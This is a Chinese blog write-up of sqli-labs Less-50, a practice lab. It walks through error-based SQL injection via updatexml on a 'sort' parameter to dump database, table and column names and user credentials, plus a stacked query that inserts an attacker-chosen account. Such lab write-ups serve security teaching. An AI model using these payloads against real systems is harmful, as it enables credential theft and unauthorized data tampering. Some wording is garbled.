sqli-labs-Less-50

SQLI-LAPS 实验记录

Less-50

这一关我们采用报错注入的方式,可以查询到数据库名称、表名、列名等信息。

首先我们在命令行中输入sqlmap命令:

sql 复制代码
?sort=1

结果如图所示,列出了数据的具体信息,但这不是我们想要的方式。

接下来,我们尝试使用updatexml摄氏注入的方法来进行注入。

sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)#

结果如图所示,爆出了数据库名称,接下来我们就可以继续报错注入的方式,查询表名、列名等信息。


  • 查询表名:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
  • 查询列名:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
  • 查询数据:
sql 复制代码
?sort=1 and updatexml(1,concat(0x7e,(select concat(username,id,password) from security.users where id=1),0x7e),1)#

除此之外,我们还可以使用insert方式,向数据库中插入我们想要的账号和密码信息:

sql 复制代码
?sort=1; insert into users(username,id,password) values('heze111',111,'love')#

可以看到,帐号heze111与密码love已经插入到数据库当中了。

相关推荐
李白客4 小时前
KES新版MySQL兼容能力再升级意味着什么?
mysql·国产数据库
ClouGence7 小时前
Oracle 数据同步为什么会出现数据不一致?长事务是常被忽略的原因
数据库·后端·oracle
飞将9 小时前
从零实现数据库(2)——HashIndex + IndexManager
数据库
Nturmoils1 天前
订单列表慢查询,先看 WHERE、ORDER BY 和 LIMIT
数据库
渣波1 天前
拒绝 SQL 焦虑!手把手带你用 NestJS + Prisma + DTO 写出“防弹”级后端代码
javascript·数据库·后端
Jim6002 天前
【吃透 MySQL InnoDB连载】第 1 章・解密线上数据库高频故障
mysql
GreatSQL2 天前
gt-checksum v4.0.0 新功能解读系列文章(4):SSL 加密连接——数据校验传输安全再升级
mysql
倔强的石头_2 天前
KingbaseES 新版MySQL 兼容版体验:旧版迁移 + 功能实测
数据库
倔强的石头_5 天前
《Kingbase护城河》——数据库存储空间全景探测与精细化瘦身实战
数据库